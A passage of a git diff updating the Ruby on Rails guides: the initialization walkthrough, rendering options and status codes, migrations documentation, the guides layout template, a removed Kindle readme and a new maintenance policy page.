+exists, then `bundler/setup` is required. The require is used by Bundler to
+configure the load path for your Gemfile's dependencies.
A standard Rails application depends on several gems, specifically:
@@ -89,7 +126,9 @@ A standard Rails application depends on several gems, specifically:
### `rails/commands.rb`
-Once `config/boot.rb` has finished, the next file that is required is `rails/commands` which will execute a command based on the arguments passed in. In this case, the `ARGV` array simply contains `server` which is extracted into the `command` variable using these lines:
+Once `config/boot.rb` has finished, the next file that is required is
+`rails/commands`, which helps in expanding aliases. In the current case, the
+`ARGV` array simply contains `server` which will be passed over:
```ruby
ARGV << '--help' if ARGV.empty?
@@ -105,21 +144,48 @@ aliases = {
command = ARGV.shift
command = aliases[command] || command
+
+require 'rails/commands/commands_tasks'
+
+Rails::CommandsTasks.new(ARGV).run_command!(command)
```
TIP: As you can see, an empty ARGV list will make Rails show the help
snippet.
-If we used `s` rather than `server`, Rails will use the `aliases` defined in the file and match them to their respective commands. With the `server` command, Rails will run this code:
+If we had used `s` rather than `server`, Rails would have used the `aliases`
+defined here to find the matching command.
+
+### `rails/commands/command_tasks.rb`
+
+When one types an incorrect rails command, the `run_command` is responsible for
+throwing an error message. If the command is valid, a method of the same name
+is called.
```ruby
-when 'server'
- # Change to the application's path if there is no config.ru file in current directory.
- # This allows us to run `rails server` from other directories, but still get
- # the main config.ru and properly set the tmp directory.
- Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exists?(File.expand_path("config.ru"))
+COMMAND_WHITELIST = %(plugin generate destroy console server dbconsole application runner new version help)
+
+def run_command!(command)
+ command = parse_command(command)
+ if COMMAND_WHITELIST.include?(command)
+ send(command)
+ else
+ write_error_message(command)
+ end
+end
+```
+
+With the `server` command, Rails will further run the following code:
+
+```ruby
+def set_application_directory!
+ Dir.chdir(File.expand_path('../../', APP_PATH)) unless File.exist?(File.expand_path("config.ru"))
+end
+
+def server
+ set_application_directory!
+ require_command!("server")
- require 'rails/commands/server'
Rails::Server.new.tap do |server|
# We need to require application after the server sets environment,
# otherwise the --environment option given to the server won't propagate.
@@ -127,14 +193,23 @@ when 'server'
Dir.chdir(Rails.application.root)
server.start
end
+end
+
+def require_command!(command)
+ require "rails/commands/#{command}"
+end
```
-This file will change into the Rails root directory (a path two directories up from `APP_PATH` which points at `config/application.rb`), but only if the `config.ru` file isn't found. This then requires `rails/commands/server` which sets up the `Rails::Server` class.
+This file will change into the Rails root directory (a path two directories up
+from `APP_PATH` which points at `config/application.rb`), but only if the
+`config.ru` file isn't found. This then requires `rails/commands/server` which
+sets up the `Rails::Server` class.
```ruby
require 'fileutils'
require 'optparse'
require 'action_dispatch'
+require 'rails'
module Rails
class Server < ::Rack::Server
@@ -198,10 +273,10 @@ def parse_options(args)
options = default_options
# Don't evaluate CGI ISINDEX parameters.
- # http://hoohoo.ncsa.uiuc.edu/cgi/cl.html
+ # http://www.meb.uni-bonn.de/docs/cgi/cl.html
args.clear if ENV.include?("REQUEST_METHOD")
- options.merge! opt_parser.parse! args
+ options.merge! opt_parser.parse!(args)
options[:config] = ::File.expand_path(options[:config])
ENV["RACK_ENV"] = options[:environment]
options
@@ -212,11 +287,14 @@ With the `default_options` set to this:
```ruby
def default_options
+ environment = ENV['RACK_ENV'] || 'development'
+ default_host = environment == 'development' ? 'localhost' : '0.0.0.0'
+
{
- :environment => ENV['RACK_ENV'] || "development",
+ :environment => environment,
:pid => nil,
:Port => 9292,
- :Host => "0.0.0.0",
+ :Host => default_host,
:AccessLog => [],
:config => "config.ru"
}
@@ -251,43 +329,50 @@ set earlier) is required.
### `config/application`
-When `require APP_PATH` is executed, `config/application.rb` is loaded.
-This file exists in your app and it's free for you to change based
-on your needs.
+When `require APP_PATH` is executed, `config/application.rb` is loaded (recall
+that `APP_PATH` is defined in `bin/rails`). This file exists in your application
+and it's free for you to change based on your needs.
### `Rails::Server#start`
-After `config/application` is loaded, `server.start` is called. This method is defined like this:
+After `config/application` is loaded, `server.start` is called. This method is
+defined like this:
```ruby
def start
- url = "#{options[:SSLEnable] ? 'https' : 'http'}://#{options[:Host]}:#{options[:Port]}"
- puts "=> Booting #{ActiveSupport::Inflector.demodulize(server)}"
- puts "=> Rails #{Rails.version} application starting in #{Rails.env} on #{url}"
- puts "=> Run `rails server -h` for more startup options"
+ print_boot_information
trap(:INT) { exit }
- puts "=> Ctrl-C to shutdown server" unless options[:daemonize]
+ create_tmp_directories
+ log_to_stdout if options[:log_stdout]
+
+ super
+ ...
+end
+
+private
- #Create required tmp directories if not found
- %w(cache pids sessions sockets).each do |dir_to_make|
- FileUtils.mkdir_p(Rails.root.join('tmp', dir_to_make))
+ def print_boot_information
+ ...
+ puts "=> Run `rails server -h` for more startup options"
+ ...
+ puts "=> Ctrl-C to shutdown server" unless options[:daemonize]
+ end
+
+ def create_tmp_directories
+ %w(cache pids sessions sockets).each do |dir_to_make|
+ FileUtils.mkdir_p(File.join(Rails.root, 'tmp', dir_to_make))
+ end
end
- unless options[:daemonize]
+ def log_to_stdout
wrapped_app # touch the app so the logger is set up
console = ActiveSupport::Logger.new($stdout)
console.formatter = Rails.logger.formatter
+ console.level = Rails.logger.level
Rails.logger.extend(ActiveSupport::Logger.broadcast(console))
end
-
- super
-ensure
- # The '-h' option calls exit before @options is set.
- # If we call 'options' with it unset, we get double help banners.
- puts 'Exiting' unless @options && options[:daemonize]
-end
```
This is where the first output of the Rails initialization happens. This
@@ -346,7 +431,7 @@ end
The interesting part for a Rails app is the last line, `server.run`. Here we encounter the `wrapped_app` method again, which this time
we're going to explore more (even though it was executed before, and
-thus memorized by now).
+thus memoized by now).
```ruby
@wrapped_app ||= build_app app
@@ -356,7 +441,11 @@ The `app` method here is defined like so:
```ruby
def app
- @app ||= begin
+ @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
+end
+...
+private
+ def build_app_and_options_from_config
if !::File.exist? options[:config]
abort "configuration #{options[:config]} not found"
end
@@ -365,7 +454,10 @@ def app
self.options.merge! options
app
end
-end
+
+ def build_app_from_string
+ Rack::Builder.new_from_string(self.options[:builder])
+ end
```
The `options[:config]` value defaults to `config.ru` which contains this:
@@ -381,8 +473,14 @@ run <%= app_const %>
The `Rack::Builder.parse_file` method here takes the content from this `config.ru` file and parses it using this code:
```ruby
-app = eval "Rack::Builder.new {( " + cfgfile + "\n )}.to_app",
- TOPLEVEL_BINDING, config
+app = new_from_string cfgfile, config
+
+...
+
+def self.new_from_string(builder_script, file="(rackup)")
+ eval "Rack::Builder.new {\n" + builder_script + "\n}.to_app",
+ TOPLEVEL_BINDING, file, 0
+end
```
The `initialize` method of `Rack::Builder` will take the block here and execute it within an instance of `Rack::Builder`. This is where the majority of the initialization process of Rails happens. The `require` line for `config/environment.rb` in `config.ru` is the first to run:
@@ -395,11 +493,22 @@ require ::File.expand_path('../config/environment', __FILE__)
This file is the common file required by `config.ru` (`rails server`) and Passenger. This is where these two ways to run the server meet; everything before this point has been Rack and Rails setup.
-This file begins with requiring `config/application.rb`.
+This file begins with requiring `config/application.rb`:
+
+```ruby
+require File.expand_path('../application', __FILE__)
+```
### `config/application.rb`
-This file requires `config/boot.rb`, but only if it hasn't been required before, which would be the case in `rails server` but **wouldn't** be the case with Passenger.
+This file requires `config/boot.rb`:
+
+```ruby
+require File.expand_path('../boot', __FILE__)
+```
+
+But only if it hasn't been required before, which would be the case in `rails server`
+but **wouldn't** be the case with Passenger.
Then the fun begins!
@@ -420,11 +529,12 @@ This file is responsible for requiring all the individual frameworks of Rails:
require "rails"
%w(
- active_record
- action_controller
- action_mailer
- rails/test_unit
- sprockets
+ active_record
+ action_controller
+ action_view
+ action_mailer
+ rails/test_unit
+ sprockets
).each do |framework|
begin
require "#{framework}/railtie"
@@ -443,10 +553,12 @@ I18n and Rails configuration are all being defined here.
### Back to `config/environment.rb`
-When `config/application.rb` has finished loading Rails, and defined
+The rest of `config/application.rb` defines the configuration for the
+`Rails::Application` which will be used once the application is fully
+initialized. When `config/application.rb` has finished loading Rails and defined
the application namespace, we go back to `config/environment.rb`,
where the application is initialized. For example, if the application was called
-`Blog`, here we would find `Blog::Application.initialize!`, which is
+`Blog`, here we would find `Rails.application.initialize!`, which is
defined in `rails/application.rb`
### `railties/lib/rails/application.rb`
@@ -462,16 +574,33 @@ def initialize!(group=:default) #:nodoc:
end
```
-As you can see, you can only initialize an app once. This is also where the initializers are run.
+As you can see, you can only initialize an app once. The initializers are run through
+the `run_initializers` method which is defined in `railties/lib/rails/initializable.rb`
-TODO: review this
+```ruby
+def run_initializers(group=:default, *args)
+ return if instance_variable_defined?(:@ran)
+ initializers.tsort_each do |initializer|
+ initializer.run(*args) if initializer.belongs_to?(group)
+ end
+ @ran = true
+end
+```
-The initializers code itself is tricky. What Rails is doing here is it
-traverses all the class ancestors looking for an `initializers` method,
-sorting them and running them. For example, the `Engine` class will make
-all the engines available by providing the `initializers` method.
+The `run_initializers` code itself is tricky. What Rails is doing here is
+traversing all the class ancestors looking for those that respond to an
+`initializers` method. It then sorts the ancestors by name, and runs them.
+For example, the `Engine` class will make all the engines available by
+providing an `initializers` method on them.
-After this is done we go back to `Rack::Server`
+The `Rails::Application` class, as defined in `railties/lib/rails/application.rb`
+defines `bootstrap`, `railtie`, and `finisher` initializers. The `bootstrap` initializers
+prepare the application (like initializing the logger) while the `finisher`
+initializers (like building the middleware stack) are run last. The `railtie`
+initializers are the initializers which have been defined on the `Rails::Application`
+itself and are run between the `bootstrap` and `finishers`.
+
+After this is done we go back to `Rack::Server`.
### Rack: lib/rack/server.rb
@@ -479,7 +608,11 @@ Last time we left when the `app` method was being defined:
```ruby
def app
- @app ||= begin
+ @app ||= options[:builder] ? build_app_from_string : build_app_and_options_from_config
+end
+...
+private
+ def build_app_and_options_from_config
if !::File.exist? options[:config]
abort "configuration #{options[:config]} not found"
end
@@ -488,7 +621,10 @@ def app
self.options.merge! options
app
end
-end
+
+ def build_app_from_string
+ Rack::Builder.new_from_string(self.options[:builder])
+ end
```
At this point `app` is the Rails app itself (a middleware), and what
@@ -506,7 +642,7 @@ def build_app(app)
end
```
-Remember, `build_app` was called (by wrapped_app) in the last line of `Server#start`.
+Remember, `build_app` was called (by `wrapped_app`) in the last line of `Server#start`.
Here's how it looked like when we left:
```ruby
@@ -514,40 +650,50 @@ server.run wrapped_app, options, &blk
```
At this point, the implementation of `server.run` will depend on the
-server you're using. For example, if you were using Mongrel, here's what
+server you're using. For example, if you were using Puma, here's what
the `run` method would look like:
```ruby
-def self.run(app, options={})
- server = ::Mongrel::HttpServer.new(
- options[:Host] || '0.0.0.0',
- options[:Port] || 8080,
- options[:num_processors] || 950,
- options[:throttle] || 0,
- options[:timeout] || 60)
- # Acts like Rack::URLMap, utilizing Mongrel's own path finding methods.
- # Use is similar to #run, replacing the app argument with a hash of
- # { path=>app, ... } or an instance of Rack::URLMap.
- if options[:map]
- if app.is_a? Hash
- app.each do |path, appl|
- path = '/'+path unless path[0] == ?/
- server.register(path, Rack::Handler::Mongrel.new(appl))
- end
- elsif app.is_a? URLMap
- app.instance_variable_get(:@mapping).each do |(host, path, appl)|
- next if !host.nil? && !options[:Host].nil? && options[:Host] != host
- path = '/'+path unless path[0] == ?/
- server.register(path, Rack::Handler::Mongrel.new(appl))
- end
- else
- raise ArgumentError, "first argument should be a Hash or URLMap"
- end
- else
- server.register('/', Rack::Handler::Mongrel.new(app))
+...
+DEFAULT_OPTIONS = {
+ :Host => '0.0.0.0',
+ :Port => 8080,
+ :Threads => '0:16',
+ :Verbose => false
+}
+
+def self.run(app, options = {})
+ options = DEFAULT_OPTIONS.merge(options)
+
+ if options[:Verbose]
+ app = Rack::CommonLogger.new(app, STDOUT)
+ end
+
+ if options[:environment]
+ ENV['RACK_ENV'] = options[:environment].to_s
end
+
+ server = ::Puma::Server.new(app)
+ min, max = options[:Threads].split(':', 2)
+
+ puts "Puma #{::Puma::Const::PUMA_VERSION} starting..."
+ puts "* Min threads: #{min}, max threads: #{max}"
+ puts "* Environment: #{ENV['RACK_ENV']}"
+ puts "* Listening on tcp://#{options[:Host]}:#{options[:Port]}"
+
+ server.add_tcp_listener options[:Host], options[:Port]
+ server.min_threads = min
+ server.max_threads = max
yield server if block_given?
- server.run.join
+
+ begin
+ server.run.join
+ rescue Interrupt
+ puts "* Gracefully stopping, waiting for requests to finish"
+ server.stop(true)
+ puts "* Goodbye!"
+ end
+
end
```
@@ -557,4 +703,4 @@ the last piece of our journey in the Rails initialization process.
This high level overview will help you understand when your code is
executed and how, and overall become a better Rails developer. If you
still want to know more, the Rails source code itself is probably the
-best place to go next.
+best place to go next. \ No newline at end of file
diff --git a/guides/source/kindle/KINDLE.md b/guides/source/kindle/KINDLE.md
deleted file mode 100644
index 8c4fad18aa..0000000000
--- a/guides/source/kindle/KINDLE.md
+++ /dev/null
@@ -1,26 +0,0 @@
-# Rails Guides on the Kindle
-
-
-## Synopsis
-
- 1. Obtain `kindlegen` from the link below and put the binary in your path
- 2. Run `KINDLE=1 rake generate_guides` to generate the guides and compile the `.mobi` file
- 3. Copy `output/kindle/rails_guides.mobi` to your Kindle
-
-## Resources
-
- * [Stack Overflow: Kindle Periodical Format](http://stackoverflow.com/questions/5379565/kindle-periodical-format)
- * Example Periodical [.ncx](https://gist.github.com/mipearson/808c971ed087b839d462) and [.opf](https://gist.github.com/mipearson/d6349aa8488eca2ee6d0)
- * [Kindle Publishing Guidelines](http://kindlegen.s3.amazonaws.com/AmazonKindlePublishingGuidelines.pdf)
- * [KindleGen & Kindle Previewer](http://www.amazon.com/gp/feature.html?ie=UTF8&docId=1000234621)
-
-## TODO
-
-### Post release
-
- * Integrate generated Kindle document into published HTML guides
- * Tweak heading styles (most docs use h3/h4/h5, which end up being smaller than the text under it)
- * Tweak table styles (smaller text? Many of the tables are unusable on a Kindle in portrait mode)
- * Have the HTML/XML TOC 'drill down' into the TOCs of the individual guides
- * `.epub` generation.
-
diff --git a/guides/source/layout.html.erb b/guides/source/layout.html.erb
index c737a0e9dc..1ac4e7f40c 100644
--- a/guides/source/layout.html.erb
+++ b/guides/source/layout.html.erb
@@ -4,7 +4,7 @@
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>
-<meta name="viewport" content="width=device-width, initial-scale=1">
+<meta name="viewport" content="width=device-width, initial-scale=1"/>
<title><%= yield(:page_title) || 'Ruby on Rails Guides' %></title>
<link rel="stylesheet" type="text/css" href="stylesheets/style.css" />
@@ -48,7 +48,7 @@
<ul class="nav">
<li><a class="nav-item" href="index.html">Home</a></li>
<li class="guides-index guides-index-large">
- <a href="index.html" onclick="guideMenu(); return false;" id="guidesMenu" class="guides-index-item nav-item">Guides Index</a>
+ <a href="index.html" id="guidesMenu" class="guides-index-item nav-item">Guides Index</a>
<div id="guides" class="clearfix" style="display: none;">
<hr />
<% ['L', 'R'].each do |position| %>
@@ -101,19 +101,15 @@
You're encouraged to help improve the quality of this guide.
</p>
<p>
- If you see any typos or factual errors that you are confident to fix,
- you can push the fix to <%= link_to 'docrails', 'https://github.com/rails/docrails' %> (Ask
- the <%= link_to 'Rails core team', 'http://rubyonrails.org/core' %> for push access).
- If you choose to open a pull request, please do it in <%= link_to 'Rails', 'https://github.com/rails/rails' %>
- and not in the <%= link_to 'docrails', 'https://github.com/rails/docrails' %> repository.
- Commits made to docrails are still reviewed, but that happens after you've submitted your
- contribution. <%= link_to 'docrails', 'https://github.com/rails/docrails' %> is
- cross-merged with master periodically.
+ Please contribute if you see any typos or factual errors.
+ To get started, you can read our <%= link_to 'documentation contributions', 'http://edgeguides.rubyonrails.org/contributing_to_ruby_on_rails.html#contributing-to-the-rails-documentation' %> section.
</p>
<p>
You may also find incomplete content, or stuff that is not up to date.
- Please do add any missing documentation for master. Check the
- <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %>
+ Please do add any missing documentation for master. Make sure to check
+ <%= link_to 'Edge Guides','http://edgeguides.rubyonrails.org' %> first to verify
+ if the issues are already fixed or not on the master branch.
+ Check the <%= link_to 'Ruby on Rails Guides Guidelines', 'ruby_on_rails_guides_guidelines.html' %>
for style and conventions.
</p>
<p>
@@ -143,7 +139,7 @@
<script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushSql.js"></script>
<script type="text/javascript" src="javascripts/syntaxhighlighter/shBrushPlain.js"></script>
<script type="text/javascript">
- SyntaxHighlighter.all()
+ SyntaxHighlighter.all();
$(guidesIndex.bind);
</script>
</body>
diff --git a/guides/source/layouts_and_rendering.md b/guides/source/layouts_and_rendering.md
index 1ab841b137..bd33c5a146 100644
--- a/guides/source/layouts_and_rendering.md
+++ b/guides/source/layouts_and_rendering.md
@@ -88,7 +88,7 @@ If we want to display the properties of all the books in our view, we can do so
<% end %>
</table>
-<br />
+<br>
<%= link_to "New book", new_book_path %>
```
@@ -122,8 +122,7 @@ X-Runtime: 0.014297
Set-Cookie: _blog_session=...snip...; path=/; HttpOnly
Cache-Control: no-cache
-
- $
+$
```
We see there is an empty response (no data after the `Cache-Control` line), but the request was successful because Rails has set the response to 200 OK. You can set the `:status` option on render to change this response. Rendering nothing can be useful for Ajax requests where all you want to send back to the browser is an acknowledgment that the request was completed.
@@ -137,7 +136,7 @@ If you want to render the view that corresponds to a different template within t
```ruby
def update
@book = Book.find(params[:id])
- if @book.update(params[:book])
+ if @book.update(book_params)
redirect_to(@book)
else
render "edit"
@@ -152,7 +151,7 @@ If you prefer, you can use a symbol instead of a string to specify the action to
```ruby
def update
@book = Book.find(params[:id])
- if @book.update(params[:book])
+ if @book.update(book_params)
redirect_to(@book)
else
render :edit
@@ -237,15 +236,34 @@ render inline: "xml.p {'Horrid coding practice!'}", type: :builder
#### Rendering Text
-You can send plain text - with no markup at all - back to the browser by using the `:text` option to `render`:
+You can send plain text - with no markup at all - back to the browser by using
+the `:plain` option to `render`:
+
+```ruby
+render plain: "OK"
+```
+
+TIP: Rendering pure text is most useful when you're responding to Ajax or web
+service requests that are expecting something other than proper HTML.
+
+NOTE: By default, if you use the `:plain` option, the text is rendered without
+using the current layout. If you want Rails to put the text into the current
+layout, you need to add the `layout: true` option.
+
+#### Rendering HTML
+
+You can send a HTML string back to the browser by using the `:html` option to
+`render`:
```ruby
-render text: "OK"
+render html: "<strong>Not Found</strong>".html_safe
```
-TIP: Rendering pure text is most useful when you're responding to Ajax or web service requests that are expecting something other than proper HTML.
+TIP: This is useful when you're rendering a small snippet of HTML code.
+However, you might want to consider moving it to a template file if the markup
+is complex.
-NOTE: By default, if you use the `:text` option, the text is rendered without using the current layout. If you want Rails to put the text into the current layout, you need to add the `layout: true` option.
+NOTE: This option will escape HTML entities if the string is not html safe.
#### Rendering JSON
@@ -277,6 +295,22 @@ render js: "alert('Hello Rails');"
This will send the supplied string to the browser with a MIME type of `text/javascript`.
+#### Rendering raw body
+
+You can send a raw content back to the browser, without setting any content
+type, by using the `:body` option to `render`:
+
+```ruby
+render body: "raw"
+```
+
+TIP: This option should be used only if you don't care about the content type of
+the response. Using `:plain` or `:html` might be more appropriate in most of the
+time.
+
+NOTE: Unless overriden, your response returned from this render option will be
+`text/html`, as that is the default content type of Action Dispatch response.
+
#### Options for `render`
Calls to the `render` method generally accept four options:
@@ -375,9 +409,9 @@ Rails understands both numeric status codes and the corresponding symbols shown
| | 423 | :locked |
| | 424 | :failed_dependency |
| | 426 | :upgrade_required |
-| | 423 | :precondition_required |
-| | 424 | :too_many_requests |
-| | 426 | :request_header_fields_too_large |
+| | 428 | :precondition_required |
+| | 429 | :too_many_requests |
+| | 431 | :request_header_fields_too_large |
| **Server Error** | 500 | :internal_server_error |
| | 501 | :not_implemented |
| | 502 | :bad_gateway |
@@ -405,7 +439,7 @@ class ProductsController < ApplicationController
end
```
-With this declaration, all of the views rendered by the products controller will use `app/views/layouts/inventory.html.erb` as their layout.
+With this declaration, all of the views rendered by the `ProductsController` will use `app/views/layouts/inventory.html.erb` as their layout.
To assign a specific layout for the entire application, use a `layout` declaration in your `ApplicationController` class:
@@ -592,7 +626,7 @@ def index
end
def show
- @book = Book.find_by_id(params[:id])
+ @book = Book.find_by(id: params[:id])
if @book.nil?
render action: "index"
end
@@ -607,7 +641,7 @@ def index
end
def show
- @book = Book.find_by_id(params[:id])
+ @book = Book.find_by(id: params[:id])
if @book.nil?
redirect_to action: :index
end
@@ -626,10 +660,10 @@ def index
end
def show
- @book = Book.find_by_id(params[:id])
+ @book = Book.find_by(id: params[:id])
if @book.nil?
@books = Book.all
- flash[:alert] = "Your book was not found"
+ flash.now[:alert] = "Your book was not found"
render "index"
end
end
@@ -704,7 +738,7 @@ WARNING: The asset tag helpers do _not_ verify the existence of the assets at th
#### Linking to Feeds with the `auto_discovery_link_tag`
-The `auto_discovery_link_tag` helper builds HTML that most browsers and newsreaders can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag:
+The `auto_discovery_link_tag` helper builds HTML that most browsers and feed readers can use to detect the presence of RSS or Atom feeds. It takes the type of the link (`:rss` or `:atom`), a hash of options that are passed through to url_for, and a hash of options for the tag:
```erb
<%= auto_discovery_link_tag(:rss, {action: "feed"},
@@ -1009,7 +1043,6 @@ You can also pass local variables into partials, making them even more powerful
```html+erb
<h1>New zone</h1>
- <%= error_messages_for :zone %>
<%= render partial: "form", locals: {zone: @zone} %>
```
@@ -1017,7 +1050,6 @@ You can also pass local variables into partials, making them even more powerful
```html+erb
<h1>Editing zone</h1>
- <%= error_messages_for :zone %>
<%= render partial: "form", locals: {zone: @zone} %>
```
@@ -1026,7 +1058,7 @@ You can also pass local variables into partials, making them even more powerful
```html+erb
<%= form_for(zone) do |f| %>
<p>
- <b>Zone name</b><br />
+ <b>Zone name</b><br>
<%= f.text_field :name %>
</p>
<p>
@@ -1122,11 +1154,11 @@ With this change, you can access an instance of the `@products` collection as th
You can also pass in arbitrary local variables to any partial you are rendering with the `locals: {}` option:
```erb
-<%= render partial: "products", collection: @products,
+<%= render partial: "product", collection: @products,
as: :item, locals: {title: "Products Page"} %>
```
-Would render a partial `_products.html.erb` once for each instance of `product` in the `@products` instance variable passing the instance to the partial as a local variable called `item` and to each partial, make the local variable `title` available with the value `Products Page`.
+In this case, the partial will have access to a local variable `title` with the value "Products Page".
TIP: Rails also makes a counter variable available within a partial called by the collection, named after the member of the collection followed by `_counter`. For example, if you're rendering `@products`, within the partial you can refer to `product_counter` to tell you how many times the partial has been rendered. This does not work in conjunction with the `as: :value` option.
diff --git a/guides/source/maintenance_policy.md b/guides/source/maintenance_policy.md
new file mode 100644
index 0000000000..8f119f36aa
--- /dev/null
+++ b/guides/source/maintenance_policy.md
@@ -0,0 +1,56 @@
+Maintenance Policy for Ruby on Rails
+====================================
+
+Support of the Rails framework is divided into four groups: New features, bug
+fixes, security issues, and severe security issues. They are handled as
+follows, all versions in x.y.z format
+
+--------------------------------------------------------------------------------
+
+New Features
+------------
+
+New features are only added to the master branch and will not be made available
+in point releases.
+
+Bug Fixes
+---------
+
+Only the latest release series will receive bug fixes. When enough bugs are
+fixed and its deemed worthy to release a new gem, this is the branch it happens
+from.
+
+**Currently included series:** 4.1.z, 4.0.z
+
+Security Issues
+---------------
+
+The current release series and the next most recent one will receive patches
+and new versions in case of a security issue.
+
+These releases are created by taking the last released version, applying the
+security patches, and releasing. Those patches are then applied to the end of
+the x-y-stable branch. For example, a theoretical 1.2.3 security release would
+be built from 1.2.2, and then added to the end of 1-2-stable. This means that
+security releases are easy to upgrade to if you're running the latest version
+of Rails.
+
+**Currently included series:** 4.1.z, 4.0.z
+
+Severe Security Issues
+----------------------
+
+For severe security issues we will provide new versions as above, and also the
+last major release series will receive patches and new versions. The
+classification of the security issue is judged by the core team.
+
+**Currently included series:** 4.1.z, 4.0.z, 3.2.z
+
+Unsupported Release Series
+--------------------------
+
+When a release series is no longer supported, it's your own responsibility to
+deal with bugs and security issues. We may provide backports of the fixes and
+publish them to git, however there will be no new versions released. If you are
+not comfortable maintaining your own versions, you should upgrade to a
+supported version.
diff --git a/guides/source/migrations.md b/guides/source/migrations.md
index 508e52a77c..c61ccfe94a 100644
--- a/guides/source/migrations.md
+++ b/guides/source/migrations.md
@@ -18,9 +18,10 @@ After reading this guide, you will know:
Migration Overview
------------------
-Migrations are a convenient way to alter your database schema over time in a
-consistent and easy way. They use a Ruby DSL so that you don't have to write
-SQL by hand, allowing your schema and changes to be database independent.
+Migrations are a convenient way to
+[alter your database schema over time](http://en.wikipedia.org/wiki/Schema_migration)
+in a consistent and easy way. They use a Ruby DSL so that you don't have to
+write SQL by hand, allowing your schema and changes to be database independent.
You can think of each migration as being a new 'version' of the database. A
schema starts off with nothing in it, and each migration modifies it to add or
@@ -184,7 +185,7 @@ class RemovePartNumberFromProducts < ActiveRecord::Migration
end
```
-You are not limited to one magically generated column. For example
+You are not limited to one magically generated column. For example:
```bash
$ rails generate migration AddDetailsToProducts part_number:string price:decimal
@@ -227,7 +228,7 @@ or remove from it as you see fit by editing the
`db/migrate/YYYYMMDDHHMMSS_add_details_to_products.rb` file.
Also, the generator accepts column type as `references`(also available as
-`belongs_to`). For instance
+`belongs_to`). For instance:
```bash
$ rails generate migration AddUserRefToProducts user:references
@@ -269,7 +270,7 @@ end
The model and scaffold generators will create migrations appropriate for adding
a new model. This migration will already contain instructions for creating the
relevant table. If you tell Rails what columns you want, then statements for
-adding these columns will also be created. For example, running
+adding these columns will also be created. For example, running:
```bash
$ rails generate model Product name:string description:text
@@ -297,15 +298,16 @@ You can append as many column name/type pairs as you want.
You can also specify some options just after the field type between curly
braces. You can use the following modifiers:
-* `limit` Sets the maximum size of the `string/text/binary/integer` fields
-* `precision` Defines the precision for the `decimal` fields
-* `scale` Defines the scale for the `decimal` fields
-* `polymorphic` Adds a `type` column for `belongs_to` associations
+* `limit` Sets the maximum size of the `string/text/binary/integer` fields.
+* `precision` Defines the precision for the `decimal` fields, representing the total number of digits in the number.
+* `scale` Defines the scale for the `decimal` fields, representing the number of digits after the decimal point.
+* `polymorphic` Adds a `type` column for `belongs_to` associations.
+* `null` Allows or disallows `NULL` values in the column.
-For instance, running
+For instance, running:
```bash
-$ rails generate migration AddDetailsToProducts price:decimal{5,2} supplier:references{polymorphic}
+$ rails generate migration AddDetailsToProducts 'price:decimal{5,2}' supplier:references{polymorphic}
```
will produce a migration that looks like this
@@ -313,8 +315,8 @@ will produce a migration that looks like this
```ruby
class AddDetailsToProducts < ActiveRecord::Migration
def change
- add_column :products, :price, precision: 5, scale: 2
- add_reference :products, :user, polymorphic: true, index: true
+ add_column :products, :price, :decimal, precision: 5, scale: 2
+ add_reference :products, :supplier, polymorphic: true, index: true
end
end
```
@@ -344,7 +346,7 @@ By default, `create_table` will create a primary key called `id`. You can change
the name of the primary key with the `:primary_key` option (don't forget to
update the corresponding model) or, if you don't want a primary key at all, you
can pass the option `id: false`. If you need to pass database specific options
-you can place an SQL fragment in the `:options` option. For example,
+you can place an SQL fragment in the `:options` option. For example:
```ruby
create_table :products, options: "ENGINE=BLACKHOLE" do |t|
@@ -358,7 +360,7 @@ will append `ENGINE=BLACKHOLE` to the SQL statement used to create the table
### Creating a Join Table
Migration method `create_join_table` creates a HABTM join table. A typical use
-would be
+would be:
```ruby
create_join_table :products, :categories
@@ -376,8 +378,8 @@ create_join_table :products, :categories, column_options: {null: true}
will create the `product_id` and `category_id` with the `:null` option as
`true`.
-You can pass the option `:table_name` with you want to customize the table
-name. For example,
+You can pass the option `:table_name` when you want to customize the table
+name. For example:
```ruby
create_join_table :products, :categories, table_name: :categorization
@@ -399,7 +401,7 @@ end
A close cousin of `create_table` is `change_table`, used for changing existing
tables. It is used in a similar fashion to `create_table` but the object
-yielded to the block knows more tricks. For example
+yielded to the block knows more tricks. For example:
```ruby
change_table :products do |t|
@@ -419,7 +421,7 @@ If the helpers provided by Active Record aren't enough you can use the `execute`
method to execute arbitrary SQL:
```ruby
-Products.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1')
+Product.connection.execute('UPDATE `products` SET `price`=`free` WHERE 1')
```
For more details and examples of individual methods, check the API documentation.
@@ -463,7 +465,7 @@ or write the `up` and `down` methods instead of using the `change` method.
Complex migrations may require processing that Active Record doesn't know how
to reverse. You can use `reversible` to specify what to do when running a
-migration what else to do when reverting it. For example,
+migration what else to do when reverting it. For example:
```ruby
class ExampleMigration < ActiveRecord::Migration
@@ -493,6 +495,7 @@ class ExampleMigration < ActiveRecord::Migration
add_column :users, :home_page_url, :string
rename_column :users, :email, :email_address
end
+end
```
Using `reversible` will ensure that the instructions are executed in the
@@ -641,13 +644,13 @@ method for all the migrations that have not yet been run. If there are
no such migrations, it exits. It will run these migrations in order based
on the date of the migration.
-Note that running the `db:migrate` also invokes the `db:schema:dump` task, which
+Note that running the `db:migrate` task also invokes the `db:schema:dump` task, which
will update your `db/schema.rb` file to match the structure of your database.
If you specify a target version, Active Record will run the required migrations
(change, up, down) until it has reached the specified version. The version
is the numerical prefix on the migration's filename. For example, to migrate
-to version 20080906120000 run
+to version 20080906120000 run:
```bash
$ rake db:migrate VERSION=20080906120000
@@ -664,7 +667,7 @@ down to, but not including, 20080906120000.
A common task is to rollback the last migration. For example, if you made a
mistake in it and wish to correct it. Rather than tracking down the version
-number associated with the previous migration you can run
+number associated with the previous migration you can run:
```bash
$ rake db:rollback
@@ -682,7 +685,7 @@ will revert the last 3 migrations.
The `db:migrate:redo` task is a shortcut for doing a rollback and then migrating
back up again. As with the `db:rollback` task, you can use the `STEP` parameter
-if you need to go more than one version back, for example
+if you need to go more than one version back, for example:
```bash
$ rake db:migrate:redo STEP=3
